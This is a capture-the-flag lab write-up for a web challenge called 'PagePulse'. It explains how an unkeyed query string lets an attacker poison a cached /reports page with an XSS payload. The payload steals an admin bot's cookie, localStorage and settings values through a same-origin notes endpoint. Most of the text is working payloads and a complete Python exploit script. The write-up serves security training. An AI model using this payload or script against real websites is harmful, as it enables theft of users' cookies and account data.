Lab 231 — PagePulse — XSS via Web Cache Poisoning
Lab 231 — PagePulse — XSS via Web Cache Poisoning
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: admin_bot_exploitation, cache_timing_attack, same_origin_data_exfiltration, web_cache_poisoning_unkeyed_query, xss_attribute_breakout
Summary
Task: Content analytics platform with caching layer; query parameter reflected unsanitized in HTML meta tags but excluded from cache key. Solution: Web cache poisoning via unkeyed query string to inject XSS, then trigger admin bot visit to exfiltrate non-HttpOnly flag cookie through same-origin API endpoint.
Lab 231 — PagePulse — XSS via Web Cache Poisoning — HackAdvisor
Description
PagePulse is a content analytics platform built by Luminary Digital that provides traffic insights, campaign tracking, and audience engagement reports. The platform serves pre-computed report pages through a caching layer to improve performance. You have been given access to a test account on PagePulse. The platform allows users to create team notes, view analytics reports, track campaign performance, and share reports with administrators for review. Your objective is to find and exploit a vulnerability that allows you to steal sensitive information from an administrator's browser session.
English summary: A web application with a caching layer where the /reports page reflects a query parameter into HTML without sanitization. The cache key does not include the query string, enabling web cache poisoning. An admin bot can be triggered to visit the poisoned page, and the flag is stored in a non-HttpOnly cookie on the admin's session.
Analysis
Application Structure
- Dashboard, Reports, Campaigns, Team Notes, Share Report, Settings — standard analytics platform pages
/reports— cached page withX-Cache: HIT/MISSheaders,Cache-Control: public, max-age=30(30-second TTL)/share-report— submits a URL (must start with/reports) for an admin bot to visit/api/notes— POST endpoint accepting JSON{title, content}to create team notes visible to all members/admin— returns 403 for regular users
Key Observations
- The
/reportspage contains two injectable HTML elements in<head>:<link rel="canonical" href="http://HOST/reports"><meta name="pp-view-mode" content="">
- The
viewquery parameter is reflected unsanitized into both tags - The cache key is
/reportsonly — the query string is NOT part of the cache key (unkeyed query string) connect.sidcookie is HttpOnly, but there's a non-HttpOnlyflagcookie on the admin's session- Decoy flags embedded in HTML comments — designed to trick automated solvers
Vulnerability: Unkeyed Query String → Web Cache Poisoning → XSS
Request: GET /reports?view=injected
Response:
html read-only • copy allowed<link rel="canonical" href="http://HOST/reports?view=injected"> <meta name="pp-view-mode" content="injected">
Since the cache key is just /reports, a poisoned response (generated with a malicious view parameter) gets served to all subsequent visitors of /reports — including the admin bot.
Solution
Step 1 — Confirm Reflection and Cache Behavior
bash read-only • copy allowed# Verify parameter reflection (wait for cache miss) curl -s 'http://TARGET/reports?view=TESTVALUE' -H 'Cookie: connect.sid=SESSION' | grep -i 'TESTVALUE' # Output: <meta name="pp-view-mode" content="TESTVALUE"> # Output: <link rel="canonical" href="http://TARGET/reports?view=TESTVALUE"> # Verify cache key excludes query string curl -s 'http://TARGET/reports' -H 'Cookie: connect.sid=SESSION' -D - | grep -i 'x-cache' # X-Cache: HIT — serves the poisoned response without the query parameter!
Step 2 — Craft XSS Payload
Break out of the content="" attribute in the meta tag:
"><script>alert(1)</script>
Results in:
html read-only • copy allowed<meta name="pp-view-mode" content=""><script>alert(1)</script>">
No sanitization or encoding applied — full reflected XSS that gets cached.
Step 3 — Build Exfiltration Payload
The payload reads document.cookie (which contains the non-HttpOnly flag cookie), fetches /settings for additional data, and exfiltrates everything via the same-origin /api/notes endpoint:
javascript read-only • copy allowed"><script> var d = {c: document.cookie, ls: JSON.stringify(localStorage)}; fetch("/settings").then(r => r.text()).then(t => { var m = t.match(/value="([^"]{10,})"/g); d.vals = m; d.settingsLen = t.length; fetch("/api/notes", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify({title: "info", content: JSON.stringify(d)}) }); }); </script><meta name="x" content="
The trailing <meta name="x" content=" cleanly closes the broken HTML to avoid parse errors.
Step 4 — Execute the Attack
python read-only • copy allowed#!/usr/bin/env python3 """ Web Cache Poisoning + XSS exploit for PagePulse (HackAdvisor Lab 231) Attack chain: Poison cache → Admin bot visits → Cookie exfiltrated via /api/notes """ import requests import time import urllib.parse TARGET = "http://TARGET_HOST" SESSION_COOKIE = "ATTACKER_SESSION_ID" headers = {"Cookie": f"connect.sid={SESSION_COOKIE}"} # XSS payload that exfiltrates cookies via /api/notes payload = '"><script>var d={c:document.cookie,ls:JSON.stringify(localStorage)};fetch("/settings").then(r=>r.text()).then(t=>{var m=t.match(/value="([^"]{10,})"/g);d.vals=m;d.settingsLen=t.length;fetch("/api/notes",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({title:"info",content:JSON.stringify(d)})})});</script><meta name="x" content="' # Step 1: Wait for cache to expire (30s TTL) print("[*] Waiting for cache expiry...") time.sleep(31) # Step 2: Poison the cache poison_url = f"{TARGET}/reports?view={urllib.parse.quote(payload)}" resp = requests.get(poison_url, headers=headers) print(f"[*] Poison request: X-Cache = {resp.headers.get('X-Cache', 'N/A')}") assert "MISS" in resp.headers.get("X-Cache", ""), "Cache was not refreshed!" # Step 3: Verify poisoning resp = requests.get(f"{TARGET}/reports", headers=headers) print(f"[*] Verify request: X-Cache = {resp.headers.get('X-Cache', 'N/A')}") assert "<script>" in resp.text, "Poisoning failed!" # Step 4: Trigger admin bot resp = requests.post( f"{TARGET}/share-report", headers={**headers, "Content-Type": "application/json"}, json={"url": "/reports"} ) print(f"[*] Share report response: {resp.status_code}") # Step 5: Wait for admin to visit and XSS to execute time.sleep(5) # Step 6: Read exfiltrated data from notes resp = requests.get(f"{TARGET}/api/notes", headers=headers) print(f"[*] Notes: {resp.json()}")
Step 5 — Retrieve the Flag
Check /api/notes for the exfiltrated data:
json read-only • copy allowed{ "c": "flag=FLAG{REDACTED}", "ls": "{}", "vals": ["value=\"Sarah Chen\"", "value=\"admin@pagepulse.io\"", "value=\"Engineering\"", "value=\"pp_live_2_xxxxxxxxxxxxxxxxxx\""], "settingsLen": 11175 }
The flag was stored in a non-HttpOnly cookie named flag on the admin's browser session.